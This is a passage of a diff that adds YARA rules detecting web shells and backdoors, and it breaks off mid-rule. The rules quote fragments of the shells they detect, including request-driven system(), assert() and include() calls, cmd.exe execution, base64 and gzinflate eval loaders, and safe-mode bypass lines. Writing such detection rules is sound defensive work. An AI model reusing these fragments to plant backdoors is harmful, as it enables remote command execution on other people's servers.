+		$s2 = "<tr><td width=\"50%\" height=\"1\" valign=\"top\"><center><b>:: Enter ::</b><for"
+		$s8 = "<p><font color=red>Wordpress Not Found! <input type=text id=\"wp_pat\"><input ty"
+	condition:
+		1 of them
+}
+rule webshell_simple_backdoor {
+	meta:
+		description = "Web Shell - file simple-backdoor.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "f091d1b9274c881f8e41b2f96e6b9936"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
+		$s1 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s4 = "system($cmd);" fullword
+	condition:
+		2 of them
+}
+rule webshell_PHP_404 {
+	meta:
+		description = "Web Shell - file 404.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "078c55ac475ab9e028f94f879f548bca"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "<span>Posix_getpwuid (\"Read\" /etc/passwd)"
+	condition:
+		all of them
+}
+rule webshell_Macker_s_Private_PHPShell {
+	meta:
+		description = "Web Shell - file Macker's Private PHPShell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "e24cbf0e294da9ac2117dc660d890bb9"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "echo \"<tr><td class=\\\"silver border\\\">&nbsp;<strong>Server's PHP Version:&n"
+		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
+		$s7 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="
+	condition:
+		all of them
+}
+rule webshell_Antichat_Shell_v1_3_2 {
+	meta:
+		description = "Web Shell - file Antichat Shell v1.3.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "40d0abceba125868be7f3f990f031521"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "$header='<html><head><title>'.getenv(\"HTTP_HOST\").' - Antichat Shell</title><m"
+	condition:
+		all of them
+}
+rule webshell_Safe_mode_breaker {
+	meta:
+		description = "Web Shell - file Safe mode breaker.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "5bd07ccb1111950a5b47327946bfa194"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s5 = "preg_match(\"/SAFE\\ MODE\\ Restriction\\ in\\ effect\\..*whose\\ uid\\ is("
+		$s6 = "$path =\"{$root}\".((substr($root,-1)!=\"/\") ? \"/\" : NULL)."
+	condition:
+		1 of them
+}
+rule webshell_Sst_Sheller {
+	meta:
+		description = "Web Shell - file Sst-Sheller.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "d93c62a0a042252f7531d8632511ca56"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "echo \"<a href='?page=filemanager&id=fm&fchmod=$dir$file'>"
+		$s3 = "<? unlink($filename); unlink($filename1); unlink($filename2); unlink($filename3)"
+	condition:
+		all of them
+}
+rule webshell_jsp_list {
+	meta:
+		description = "Web Shell - file list.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "1ea290ff4259dcaeb680cec992738eda"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword
+		$s2 = "out.print(\") <A Style='Color: \" + fcolor.toString() + \";' HRef='?file=\" + fn"
+		$s7 = "if(flist[i].canRead() == true) out.print(\"r\" ); else out.print(\"-\");" fullword
+	condition:
+		all of them
+}
+rule webshell_PHPJackal_v1_5 {
+	meta:
+		description = "Web Shell - file PHPJackal v1.5.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "d76dc20a4017191216a0315b7286056f"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s7 = "echo \"<center>${t}MySQL cilent:</td><td bgcolor=\\\"#333333\\\"></td></tr><form"
+		$s8 = "echo \"<center>${t}Wordlist generator:</td><td bgcolor=\\\"#333333\\\"></td></tr"
+	condition:
+		all of them
+}
+rule webshell_customize {
+	meta:
+		description = "Web Shell - file customize.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "d55578eccad090f30f5d735b8ec530b1"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
+	condition:
+		all of them
+}
+rule webshell_s72_Shell_v1_1_Coding {
+	meta:
+		description = "Web Shell - file s72 Shell v1.1 Coding.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "c2e8346a5515c81797af36e7e4a3828e"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s5 = "<font face=\"Verdana\" style=\"font-size: 8pt\" color=\"#800080\">Buradan Dosya "
+	condition:
+		all of them
+}
+rule webshell_jsp_sys3 {
+	meta:
+		description = "Web Shell - file sys3.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "b3028a854d07674f4d8a9cf2fb6137ec"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">" fullword
+		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+		$s9 = "<%@page contentType=\"text/html;charset=gb2312\"%>" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_guige02 {
+	meta:
+		description = "Web Shell - file guige02.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "a3b8b2280c56eaab777d633535baf21d"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "????????????????%><html><head><title>hahahaha</title></head><body bgcolor=\"#fff"
+		$s1 = "<%@page contentType=\"text/html; charset=GBK\" import=\"java.io.*;\"%><%!private"
+	condition:
+		all of them
+}
+rule webshell_php_ghost {
+	meta:
+		description = "Web Shell - file ghost.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "38dc8383da0859dca82cf0c943dbf16d"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "<?php $OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64'"
+		$s6 = "//<img width=1 height=1 src=\"http://websafe.facaiok.com/just7z/sx.asp?u=***.***"
+		$s7 = "preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'(KmU(\"" fullword
+	condition:
+		all of them
+}
+rule webshell_WinX_Shell {
+	meta:
+		description = "Web Shell - file WinX Shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "17ab5086aef89d4951fe9b7c7a561dda"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s5 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">Filenam"
+		$s8 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">File: </"
+	condition:
+		all of them
+}
+rule webshell_Crystal_Crystal {
+	meta:
+		description = "Web Shell - file Crystal.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "fdbf54d5bf3264eb1c4bff1fac548879"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "show opened ports</option></select><input type=\"hidden\" name=\"cmd_txt\" value"
+		$s6 = "\" href=\"?act=tools\"><font color=#CC0000 size=\"3\">Tools</font></a></span></f"
+	condition:
+		all of them
+}
+rule webshell_r57_1_4_0 {
+	meta:
+		description = "Web Shell - file r57.1.4.0.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "574f3303e131242568b0caf3de42f325"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "@ini_set('error_log',NULL);" fullword
+		$s6 = "$pass='abcdef1234567890abcdef1234567890';" fullword
+		$s7 = "@ini_restore(\"disable_functions\");" fullword
+		$s9 = "@ini_restore(\"safe_mode_exec_dir\");" fullword
+	condition:
+		all of them
+}
+
+rule webshell_asp_ajn {
+	meta:
+		description = "Web Shell - file ajn.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "aaafafc5d286f0bff827a931f6378d04"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "seal.write \"Set WshShell = CreateObject(\"\"WScript.Shell\"\")\" & vbcrlf" fullword
+		$s6 = "seal.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreateOve"
+	condition:
+		all of them
+}
+rule webshell_php_cmd {
+	meta:
+		description = "Web Shell - file cmd.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "c38ae5ba61fd84f6bbbab98d89d8a346"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "if($_GET['cmd']) {" fullword
+		$s1 = "// cmd.php = Command Execution" fullword
+		$s7 = "  system($_GET['cmd']);" fullword
+	condition:
+		all of them
+}
+rule webshell_asp_list {
+	meta:
+		description = "Web Shell - file list.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "1cfa493a165eb4b43e6d4cc0f2eab575"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<INPUT TYPE=\"hidden\" NAME=\"type\" value=\"<%=tipo%>\">" fullword
+		$s4 = "Response.Write(\"<h3>FILE: \" & file & \"</h3>\")" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_co {
+	meta:
+		description = "Web Shell - file co.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "62199f5ac721a0cb9b28f465a513874c"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "cGX6R9q733WvRRjISKHOp9neT7wa6ZAD8uthmVJV" fullword
+		$s11 = "6Mk36lz/HOkFfoXX87MpPhZzBQH6OaYukNg1OE1j" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_150 {
+	meta:
+		description = "Web Shell - file 150.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "400c4b0bed5c90f048398e1d268ce4dc"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "HJ3HjqxclkZfp"
+		$s1 = "<? eval(gzinflate(base64_decode('" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_cmdjsp_2 {
+	meta:
+		description = "Web Shell - file cmdjsp.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "1b5ae3649f03784e2a5073fa4d160c8b"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
+		$s4 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_c37 {
+	meta:
+		description = "Web Shell - file c37.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "d01144c04e7a46870a8dd823eb2fe5c8"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "array('cpp','cxx','hxx','hpp','cc','jxx','c++','vcproj'),"
+		$s9 = "++$F; $File = urlencode($dir[$dirFILE]); $eXT = '.:'; if (strpos($dir[$dirFILE],"
+	condition:
+		all of them
+}
+rule webshell_PHP_b37 {
+	meta:
+		description = "Web Shell - file b37.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "0421445303cfd0ec6bc20b3846e30ff0"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "xmg2/G4MZ7KpNveRaLgOJvBcqa2A8/sKWp9W93NLXpTTUgRc"
+	condition:
+		all of them
+}
+rule webshell_php_backdoor {
+	meta:
+		description = "Web Shell - file php-backdoor.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))" fullword
+		$s2 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "
+	condition:
+		all of them
+}
+rule webshell_asp_dabao {
+	meta:
+		description = "Web Shell - file dabao.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "3919b959e3fa7e86d52c2b0a91588d5d"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = " Echo \"<input type=button name=Submit onclick=\"\"document.location =&#039;\" &"
+		$s8 = " Echo \"document.Frm_Pack.FileName.value=\"\"\"\"+year+\"\"-\"\"+(month+1)+\"\"-"
+	condition:
+		all of them
+}
+rule webshell_php_2 {
+	meta:
+		description = "Web Shell - file 2.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "267c37c3a285a84f541066fc5b3c1747"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<?php assert($_REQUEST[\"c\"]);?> " fullword
+	condition:
+		all of them
+}
+rule webshell_asp_cmdasp {
+	meta:
+		description = "Web Shell - file cmdasp.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "57b51418a799d2d016be546f399c2e9b"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+		$s7 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+	condition:
+		all of them
+}
+rule webshell_spjspshell {
+	meta:
+		description = "Web Shell - file spjspshell.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "d39d51154aaad4ba89947c459a729971"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s7 = "Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\\winnt\\system32\\cmd.exe /c type c:"
+	condition:
+		all of them
+}
+rule webshell_jsp_action {
+	meta:
+		description = "Web Shell - file action.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "5a7d931094f5570aaf5b7b3b06c3d8c0"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword
+		$s6 = "<%@ page contentType=\"text/html;charset=gb2312\"%>" fullword
+	condition:
+		all of them
+}
+rule webshell_Inderxer {
+	meta:
+		description = "Web Shell - file Inderxer.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "9ea82afb8c7070817d4cdf686abe0300"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"
+	condition:
+		all of them
+}
+rule webshell_asp_Rader {
+	meta:
+		description = "Web Shell - file Rader.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "ad1a362e0a24c4475335e3e891a01731"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "FONT-WEIGHT: bold; FONT-SIZE: 10px; BACKGROUND: none transparent scroll repeat 0"
+		$s3 = "m\" target=inf onClick=\"window.open('?action=help','inf','width=450,height=400 "
+	condition:
+		all of them
+}
+rule webshell_c99_madnet_smowu {
+	meta:
+		description = "Web Shell - file smowu.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "3aaa8cad47055ba53190020311b0fb83"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "//Authentication" fullword
+		$s1 = "$login = \"" fullword
+		$s2 = "eval(gzinflate(base64_decode('"
+		$s4 = "//Pass"
+		$s5 = "$md5_pass = \""
+		$s6 = "//If no pass then hash"
+	condition:
+		all of them
+}
+rule webshell_php_moon {
+	meta:
+		description = "Web Shell - file moon.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "2a2b1b783d3a2fa9a50b1496afa6e356"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "echo '<option value=\"create function backshell returns string soname"
+		$s3 = "echo      \"<input name='p' type='text' size='27' value='\".dirname(_FILE_).\""
+		$s8 = "echo '<option value=\"select cmdshell(\\'net user "
+	condition:
+		2 of them
+}
+
+rule webshell_minupload {
+	meta:
+		description = "Web Shell - file minupload.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "ec905a1395d176c27f388d202375bdf9"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">   " fullword
+		$s9 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859"
+	condition:
+		all of them
+}
+rule webshell_ELMALISEKER_Backd00r {
+	meta:
+		description = "Web Shell - file ELMALISEKER Backd00r.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "3aa403e0a42badb2c23d4a54ef43e2f4"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "response.write(\"<tr><td bgcolor=#F8F8FF><input type=submit name=cmdtxtFileOptio"
+		$s2 = "if FP = \"RefreshFolder\" or request.form(\"cmdOption\")=\"DeleteFolder\" or req"
+	condition:
+		all of them
+}
+rule webshell_PHP_bug_1_ {
+	meta:
+		description = "Web Shell - file bug (1).php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "91c5fae02ab16d51fc5af9354ac2f015"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "@include($_GET['bug']);" fullword
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_hkmjj {
+	meta:
+		description = "Web Shell - file hkmjj.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "e7b994fe9f878154ca18b7cde91ad2d0"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s6 = "codeds=\"Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li\"  " fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_asd {
+	meta:
+		description = "Web Shell - file asd.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "a042c2ca64176410236fcc97484ec599"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%>" fullword
+		$s6 = "<input size=\"100\" value=\"<%=application.getRealPath(\"/\") %>\" name=\"url"
+	condition:
+		all of them
+}
+
+rule webshell_metaslsoft {
+	meta:
+		description = "Web Shell - file metaslsoft.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "aa328ed1476f4a10c0bcc2dde4461789"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s7 = "$buff .= \"<tr><td><a href=\\\"?d=\".$pwd.\"\\\">[ $folder ]</a></td><td>LINK</t"
+	condition:
+		all of them
+}
+rule webshell_asp_Ajan {
+	meta:
+		description = "Web Shell - file Ajan.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "b6f468252407efc2318639da22b08af0"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "entrika.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreate"
+	condition:
+		all of them
+}
+rule webshell_config_myxx_zend {
+	meta:
+		description = "Web Shell - from files config.jsp, myxx.jsp, zend.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash1 = "e0354099bee243702eb11df8d0e046df"
+		hash2 = "591ca89a25f06cf01e4345f98a22845c"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = ".println(\"<a href=\\\"javascript:alert('You Are In File Now ! Can Not Pack !');"
+	condition:
+		all of them
+}
+rule webshell_browser_201_3_ma_download {
+	meta:
+		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, download.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash4 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "<small>jsp File Browser version <%= VERSION_NR%> by <a"
+		$s3 = "else if (fName.endsWith(\".mpg\") || fName.endsWith(\".mpeg\") || fName.endsWith"
+	condition:
+		all of them
+}
+rule webshell_itsec_itsecteam_shell_jHn {
+	meta:
+		description = "Web Shell - from files itsec.php, itsecteam_shell.php, jHn.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
+		hash1 = "bd6d3b2763c705a01cc2b3f105a25fa4"
+		hash2 = "40c6ecf77253e805ace85f119fe1cebb"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "echo $head.\"<font face='Tahoma' size='2'>Operating System : \".php_uname().\"<b"
+		$s5 = "echo \"<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'"
+	condition:
+		all of them
+}
+rule webshell_ghost_source_icesword_silic {
+	meta:
+		description = "Web Shell - from files ghost_source.php, icesword.php, silic.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "cbf64a56306c1b5d98898468fc1fdbd8"
+		hash1 = "6e20b41c040efb453d57780025a292ae"
+		hash2 = "437d30c94f8eef92dc2f064de4998695"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $"
+		$s6 = "if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST["
+	condition:
+		all of them
+}
+rule webshell_JspSpy_JspSpyJDK5_JspSpyJDK51_luci_jsp_spy2009_m_ma3_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash6 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash7 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash8 = "d71716df5042880ef84427acee8b121e"
+		hash9 = "341298482cf90febebb8616426080d1d"
+		hash10 = "29aebe333d6332f0ebc2258def94d57e"
+		hash11 = "42654af68e5d4ea217e6ece5389eb302"
+		hash12 = "88fc87e7c58249a398efd5ceae636073"
+		hash13 = "4a812678308475c64132a9b56254edbc"
+		hash14 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash15 = "344f9073576a066142b2023629539ebd"
+		hash16 = "32dea47d9c13f9000c4c807561341bee"
